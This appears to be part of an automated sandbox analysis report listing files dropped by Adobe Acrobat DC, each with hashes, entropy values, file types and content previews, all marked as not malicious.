SSDEEP:	6:iO4S1Ipyq2PN72nKuAl9OmbzNMxIFUtSS1Ifmz1ZmwsS1MRkwON72nKuAl9OmbzE:7eyvVaHAa8jFUtAmZ/2R5OaHAa84J
MD5:	7D28FCB2D48C3DE276EBD8A95AC9E46E
SHA1:	BE8E9D2C55E569F23823E640B91F0F665226A88F
SHA-256:	B14CB16DD9003D0FEE9473208BB090ACB7879E85D344594BDBFE174E188CED02
SHA-512:	CF413886CC615CFE5050D977609E50312EF8A1C784066E96C649E6EA9838683F36C6DE33EEACF7A0CD2A50CC9F918BCED6B8810CE4B744000A9771165A3D9A05
Malicious:	false
Preview:	2025/01/10-15:20:32.614 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:20:32.617 1c74 Recovering log #3.2025/01/10-15:20:32.618 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444606700630665
Encrypted:	false
SSDEEP:	384:ye6ci5tCiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mNs3OazzU89UTTgUL
MD5:	DBF4DAC7A21D9ADBF1485A619872A4E0
SHA1:	72EF8FB494C5772AE03174E8CB63D4526221E118
SHA-256:	9EEC160C128F66F6230F8C5062293496E2659E76E31FC92D1B6675B1761F37CE
SHA-512:	5DC5F7506DE53E4D6825405218099B61436440562106DA4A12E9949E04F6676700F9F27EA19C08A345F1D1BA92986C9EB8E78C9C09A5CE2998916A1E75D09E82
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7666142946453913
Encrypted:	false
SSDEEP:	48:7MsJioyVrioyAoy1C7oy16oy15KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OL:7jJur80XjBiHb9IVXEBodRBk8
MD5:	C4DA2E72B5FC96E4711EB00BCC573F7F
SHA1:	0AE558D4B54DE38C70685E4338017B849CA4BA9E
SHA-256:	86A6FED9E21BC789FA2BC95FA8D2670730CC16144BDEC64D255893DEC078A54A
SHA-512:	2C82E812C4B38EFF43F808B0CAA121C0AC62C65921B23F1FA0F3F3C4A910C578031448C4EF5636A98DA102D0FBC5092D78EE294DE0AB47F77A807C8834477830
Malicious:	false
Preview:	.... .c.....#.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.694797355555497
Encrypted:	false
SSDEEP:	3:kkFklYlf/NttfllXlE/HT8kmNNX8RolJuRdxLlGB9lQRYwpDdt:kKBlfFteT8BNMa8RdWBwRd
MD5:	03A7C5F3E89A3323D9A3ADCE25D2DC64
SHA1:	12CC24FD34B341B9FEC24A69CB8C69D707E1D390
SHA-256:	81768F546FF5A38E415CAD3AA360473F6B7B0795A1797D6ED146A81CD1A0F2C5
SHA-512:	710EFEFEAF8ACC6885CA8C31F7A101F5CB3BB01511710EE65DAC5F68029811144731D9D39BADAFECB4153FAB2BE7110038031E1FB131018E2EBEACC5BEB095A1
Malicious:	false
Preview:	p...... ........k....c..(....................................................... ..........W....o...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4460

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4460

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.349511968844462
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJM3g98kUwPeUkwRe9:YvXKXjaqzcnbGMbLUkee9
MD5:	5F789EB2BF3730B5597AF35CF60F463C
SHA1:	94A2E3D22E7D037664F25011434C0E2BB477F578
SHA-256:	38762DF78D847106EE8CDC3FB1DA9768D926B1163EB9162C343193F89042DDDB
SHA-512:	853DE8DB66E3119DD2CC70875EE0C6DB0F0B717E4B383682A292A01FA7A7B0E3A6A2C1756A38ABCE456FC7E0E187E9619D82B4AB5171B9EEAA7B5C907E38B3DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298026878961824
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfBoTfXpnrPeUkwRe9:YvXKXjaqzcnbGWTfXcUkee9
MD5:	944192652695EE16A5DC31D500A777DF
SHA1:	AE99373A3D728CFD62D30054B5F48A162B3BA8B2
SHA-256:	DDF5EFC400FEDBC2C661E31C0FC4519909199002C469804E0AFD51A3873EE1A3
SHA-512:	0F9EAB7F804E5C771D661B1F441BA98D4AEF163711D4356CBB6C3266730BB0526D3013F0CABDF58910FDBA7B9CD9D64ACA530B9B7F4FCF48C3657BBCD17B73D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2764385522266855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfBD2G6UpnrPeUkwRe9:YvXKXjaqzcnbGR22cUkee9
MD5:	2F1A3787E921E0FC08EB1FC1F21D931B
SHA1:	C88665D00C002FD0A9B0D29EEA3C0ABAB0E98891
SHA-256:	9096459482233E2F06C8CD5805093CD90DCCDFA7372DE12F933F6364089F492F
SHA-512:	7BB51C5F138EA3DDA24D701942D770B3B822B6414101D59E33039DCAD0AB360B51262D6FA5104F3203F88E0BD49B61FC4CB3F5DBC5DBA8CB31B92E3FAB3AA81E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.329048529860235
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfPmwrPeUkwRe9:YvXKXjaqzcnbGH56Ukee9
MD5:	95AB6FF97A256B5310535E0B0409BD3B
SHA1:	BDB86D6B1716AB24C7D38BA22E631E7E18AA045E
SHA-256:	C2024CE58079648CC133FCA9C1581D2731682FDB30DABDC2BBE4410754254C7B
SHA-512:	BBA1B132890554BEF650C239280861F1A162970F1220F4F7663B4D6D0B81E4AB03CBC9167304699FE6815E4B0AE3BBE56BA71573FBEE65CAE011380DECA80186
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.685507063893797
Encrypted:	false
SSDEEP:	24:Yv6XjaqYnwpLgE9cQx8LennAvzBvkn0RCmK8czOCCSJ:YvBwhgy6SAFv5Ah8cv/J
MD5:	2FC452B468112045C2DD204C5BA99436
SHA1:	3EA00122A5B048C156F6C116DC0210988496B398
SHA-256:	A9229517FEE32B018EEC83DA20679DB6C41637AF547DDDFF2E6D21CF646C2D18
SHA-512:	2BE5A6C2051395B0B13FF5A7A4A7B7DE8894418A0503EBF28ED3415D0E42AC79802130C36AD04513B768B96806B900E473888DFC721C533328BDEAE644E67096
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27811198377429
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJf8dPeUkwRe9:YvXKXjaqzcnbGU8Ukee9
MD5:	F01D5C2050812AFAF378176CC3EE9794
SHA1:	6CB336D193205939E72A3778E6809C3C7F98CAE1
SHA-256:	60F72C9999131FF6F1DF8E9B72616E7611D9A5432963F18454645FCB63DCE587
SHA-512:	204F7D1F99B3EF24FBF6481B687C4DFD20638057D53BE0D6EFE8591289D1D7C6B818FC232A6EB5310143AB78411447884D1D01211EF2A1FA52CB57EBE0C1C731
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280714486067515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfQ1rPeUkwRe9:YvXKXjaqzcnbGY16Ukee9
MD5:	51C6D905D305DE464DD87492B57FA0B8
SHA1:	2F296F7F80BFA43A65A48EE9B041D368929103CA
SHA-256:	F0AE6B13271A7C7E3BFDED386CCB1BD3759909640AD32431474FACB93EE658B4
SHA-512:	FA46270EC224F4A2C405993F78070895C9C541B9119FF2E36B0066C787101EC68A221685CE5208135942B33D57EBDB5863A268A7184DA2285C861461488DCF43
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290056139780683
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfFldPeUkwRe9:YvXKXjaqzcnbGz8Ukee9
MD5:	60D845F65B8251CA03CD436BEB152E07
SHA1:	5A3F72C222CB115AAF9093859C87B633A64DE354
SHA-256:	4308A616F9A345397FD29CACDFF9D366FB33C322E8CF5C4E1D1010684643627D
SHA-512:	CC742F0419520CEB36FA6E1A0CDA2161176461D8D36A09F3CB17F99BE90AC0B09C0FC131B2A04B3F2EEB0A19903A4AEBBDCFC372DFA67DCB9FA2EC4F1F47AFB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.305407101289071
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfzdPeUkwRe9:YvXKXjaqzcnbGb8Ukee9
MD5:	B3441F4B83B3B2DE3AB23BA0184CBBAB
SHA1:	8D192106944FAF57562DBCA3745924E47DAE1CDD
SHA-256:	BFB79EE3DDAB4AAE8A81607A7A34F27FF70665CFB058D5868B514DFBA95E639D
SHA-512:	18583ED22B53BA7FF7F736EB32EC832510C01A40356FC780381B5E7358DEEEF309C334C573F171456AE95FD29D8FA5DFC0CB47D58509261451668681DEE1532B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecb7f2f-fe9c-41fa-a404-646d962e6759","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736719226020,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.285761089329966
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHDiJqun0nZiQ0YgwoAvJfYdPeUkwRe9:YvXKXjaqzcnbGg8Ukee9
MD5:	A986F17D0FBA0219227DAB1752D91A03
